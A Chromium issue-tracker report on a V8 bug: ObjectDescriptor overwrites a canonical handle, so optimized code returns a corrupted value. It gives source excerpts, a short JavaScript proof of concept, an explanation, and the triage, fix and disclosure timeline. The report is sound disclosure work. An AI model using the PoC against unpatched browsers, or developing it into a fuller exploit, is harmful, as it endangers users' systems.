Security: V8: A bug in the ObjectDescriptor class |
|||||||||||
Issue description
Here's HandleScope::GetHandle and CanonicalHandleScope::Lookup used to get a handle location.
Object** HandleScope::GetHandle(Isolate* isolate, Object* value) {
DCHECK(AllowHandleAllocation::IsAllowed());
HandleScopeData* data = isolate->handle_scope_data();
CanonicalHandleScope* canonical = data->canonical_scope;
return canonical ? canonical->Lookup(value) : CreateHandle(isolate, value);
}
Object** CanonicalHandleScope::Lookup(Object* object) {
DCHECK_LE(canonical_level_, isolate_->handle_scope_data()->level);
...
Object*** entry = identity_map_->Get(object);
if (*entry == nullptr) {
// Allocate new handle location.
*entry = HandleScope::CreateHandle(isolate_, object);
}
return reinterpret_cast<Object**>(*entry);
}
As you can see above, if the method is called within a CanonicalHandleScope scope, it checks if there's a cache for the given value, if there is, returns the cached location, otherwise, creates one for it.
The above routine implies that it's not a good idea to change the value of the handle as shown in the following example code.
CanonicalHandleScope canonical(isolate);
Handle<Smi> a(Smi::kZero, isolate);
*a.location() = Smi::FromInt(2);
Handle<Smi> b(Smi::kZero, isolate); // b.location() == a.location()
b->value(); // == 2
But the ObjectDescriptor class does that.
Here's a snippet of the class (https://cs.chromium.org/chromium/src/v8/src/objects/literal-objects.cc?rcl=f0f13de9b59b2f7291de005456cf832f5409bb14&l=352).
void CreateTemplates(Isolate* isolate, int slack) {
...
temp_handle_ = handle(Smi::kZero, isolate);
}
void AddNamedProperty(Isolate* isolate, Handle<Name> name,
ClassBoilerplate::ValueKind value_kind,
int value_index) {
Smi* value = Smi::FromInt(value_index);
...
*temp_handle_.location() = value;
...
}
PoC:
// Flags: --allow-natives-syntax
function deferred_func() {
class C {
method1() {
}
}
}
let bound = (a => a).bind(this, 0);
function opt() {
deferred_func.prototype; // ReduceJSLoadNamed
return bound();
}
print(opt()); // 0
%OptimizeFunctionOnNextCall(opt);
print(opt()); // must print out 0, but actually it prints out 3
How the PoC works:
1. GetOptimizedCode uses CanonicalHandleScope.
2. JSNativeContextSpecialization::ReduceJSLoadNamed calls JSFunction::EnsureHasInitialMap which tries to compile the given function(deferred_func in the PoC).
1. So ObjectDescriptor is used.
3. The ObjectDescriptor::AddNamedProperty method changes the value of handle(Smi::kZero, isolate) to "3".
4. Loading the bound function's arguments is reduced with: jsgraph()->Constant(handle(bound_arguments->get(i), isolate())))
1. handle(bound_arguments->get(i), isolate()) returns the same handle, of which the value is "3", used in the vulnerable class.
Note that the PoC doesn't crash.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
,
Jan 18 2018
,
Jan 18 2018
,
Jan 22 2018
,
Jan 25 2018
Looks like this slipped through the security triage cycle. I'm not sure CF can help here though, as the PoC doesn't crash (at least I don't know how to tell CF about that).
,
Jan 25 2018
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=5124289511292928.
,
Jan 25 2018
Reassigning to ishell since cbruni is on short-notice leave.
,
Jan 26 2018
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/e416e3c475ef8bd76455dbd9dd416e7edfe56893 commit e416e3c475ef8bd76455dbd9dd416e7edfe56893 Author: Igor Sheludko <ishell@chromium.org> Date: Fri Jan 26 12:21:15 2018 [runtime] Fix Class Literals Do not overwrite handle values in AddNamedProperty which could cause invalid handles in combination with CanonicalHandleScope. Bug: chromium:802333 Change-Id: I373ab60579901bba65336ae3814e466e07392e22 Reviewed-on: https://chromium-review.googlesource.com/873032 Reviewed-by: Igor Sheludko <ishell@chromium.org> Commit-Queue: Igor Sheludko <ishell@chromium.org> Cr-Commit-Position: refs/heads/master@{#50890} [modify] https://crrev.com/e416e3c475ef8bd76455dbd9dd416e7edfe56893/src/objects/literal-objects.cc [add] https://crrev.com/e416e3c475ef8bd76455dbd9dd416e7edfe56893/test/mjsunit/regress/regress-crbug-802333.js
,
Jan 26 2018
,
Feb 8 2018
,
Apr 6 2018
The PoC still works on Chrome 65.0.3325.181 (Latest Stable). Would you please check it?
,
Apr 6 2018
,
Apr 6 2018
66 will go stable in the next two weeks. Given that this is security impact medium, let's not merge it to 65.
,
Apr 14 2018
The drop date of the issue is April 16th. Will the deadline grace extension be required?
,
Apr 16 2018
lokihardt@ - Yes, please.
,
May 4 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot |
|||||||||||
►
Sign in to add a comment |
|||||||||||
Comment 1 by hablich@chromium.org
, Jan 18 2018Status: Untriaged (was: Unconfirmed)